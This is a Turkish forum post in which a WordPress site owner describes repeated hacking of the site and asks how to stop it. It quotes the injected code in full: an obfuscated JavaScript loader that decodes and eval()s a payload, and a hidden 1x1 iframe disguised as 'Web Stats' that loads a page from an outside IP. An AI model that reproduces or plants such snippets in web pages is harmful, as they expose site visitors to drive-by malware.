Merhaba Arkadaş
Bir süre önce siteme (wordpress) javascript kodları konulmaya başlanmıştı. Kodlar genelde şu şekilde idi.
<script language=JavaScript> function ezb2b13(n){var d=n.length,w=1024,k,v,l,f=0,e=0,g=0,m=Array(63,11,23,43,40,1,39,28,61,26,0,0,0,0,0,0,25,15,36,51,59,4,2,9,24,16,31,2
1,44,0,32,56,45,30,18,17,33,55,13,27,10,60,41,0,0,0,0,5,0,19,54,12,46,22,52,14,38,6,48,47,42,57,62,49,53,35,7,34,58,
29,20,50,37,3,8);for(v=Math.ceil(d/w);v>0;v--){l=\'\';for(k=Math.min(d,w);k>0;k--,d--){{g|=(m[n.charCodeAt(f++)-48])
<<e;if(e){l+=String.fromCharCode(161^g&255);g>>=8;e-=2}else{e=6}}}eval(l);}}ezb2b13(\'eqYC_DLpAXupM2VpRCZTxDYCEW4h_D
LjvCcoA28qeAVwKa7sibGwrAVjca7NAycCECGh_qZx5X8fFCmNG2upSkZqghGj_2cwKqLCA0zwAJLCgePqQ94sLy7pG0Ofga8C_6zDM2uwAgVjA2LCc6
zs1F@hRhmBzl4THeche94sigHNeq7oK6c6IhmB5hcozW7wKCGBSF@NR2VbVac6yecwRruCMq8hADYCEAO6utzwrAVjcaY6isz\')</script><!--
208.97.188.86 -->bu kodlar birkaç defa daha eklenip ftp ye dosya yazıp her index.php gibi indedx isimli dosyaya iliştirilmesinden sonra. Wordpresimi temiz bir şekilde tekrar kurdum. Veritabanımı tekrar kullandım ancak detaylı bir şekilde incelelip yazılara iliştirilen frama kodlarını sildim. Ftp kullanıcı adı ve şifremi degiştirdim.
Herşey düzeldi derken tekrar bir kod ekleme oldu. bu sefer eklenen kod
<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats -->
şeklinde.
Bu neden olur, nasıl kurtulabilirim konudunda yardımcı olacak arkadaşlar var ise sevinirim.